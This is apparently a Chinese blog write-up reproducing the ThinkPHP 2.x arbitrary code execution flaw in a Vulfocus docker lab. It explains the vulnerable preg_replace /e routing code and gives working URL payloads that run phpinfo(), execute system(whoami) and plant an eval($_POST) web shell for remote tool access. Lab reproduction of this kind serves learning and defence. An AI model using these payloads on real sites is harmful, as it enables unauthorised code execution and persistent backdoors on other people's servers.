ThinkPHP 2.x 任意代码执行漏洞复现
0x00 前言
前段时间看到一个Vulfocus的漏洞集成平台,今天翻出来看了下,也用平台搭建了一个环境进行复现
0x01 平台安装
1、拉取镜像并运行
docker pull vulfocus/vulfocus:latest //拉取镜像 docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=xxx.xxx.xxx.xxx(服务器IP) vulfocus/vulfocus
访问平台,默认用户名密码admin/admin
2、添加漏洞镜像
在网站https://hub.docker.com/r/vulfocus寻找需要的漏洞镜像,在服务器使用docker拉取镜像
登录后在镜像管理-添加-本地导入中添加漏洞镜像
3、启动环境
添加成功后,在首页即可启动对应的漏洞环境
访问运行的环境
0x02 漏洞概述
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
0x03 漏洞复现
1、查询phpinfo()
payload:
/index.php?s=/index/index/xxx/${phpinfo()}
2、任意代码执行
payload:
/index.php?s=/index/index/xxx/${system(whoami)}
3、菜刀连接
payload:
/index.php/module/action/param1/${@print(eval($_POST[c]))} //一开始我用菜刀没办法连接,换了蚁剑才连接上
0x04 漏洞分析
存在漏洞的文件
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
漏洞代码位置
在preg_replace()函数中使用正则表达式的/e修饰符时,preg_replace的第二个参数会被当做php代码执行
如:
<?php $a = 'Clown'; $b = preg_replace('/\d/e', 'print(xxx);', $a); echo $b; ?>
执行结果:
虽然报错了,但还是执行了print(xxx)
$var[\'\\1\']="\\2";是对数组进行操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值
<?php $var = array(); $b='a/b/c/d/e/f'; preg_replace("/(\w+)\/([^\/\/])/ies",$a='$var[\'\\1\']="\\2";',$b); print_r($var); ?>
执行结果:
从结果可以看到,是取出两个参数,第一个作为键,第二个作为值
根据这个特性,就可以构造代码执行的语句
参考链接
https://github.com/fofapro/vulfocus
https://www.freebuf.com/column/223149.html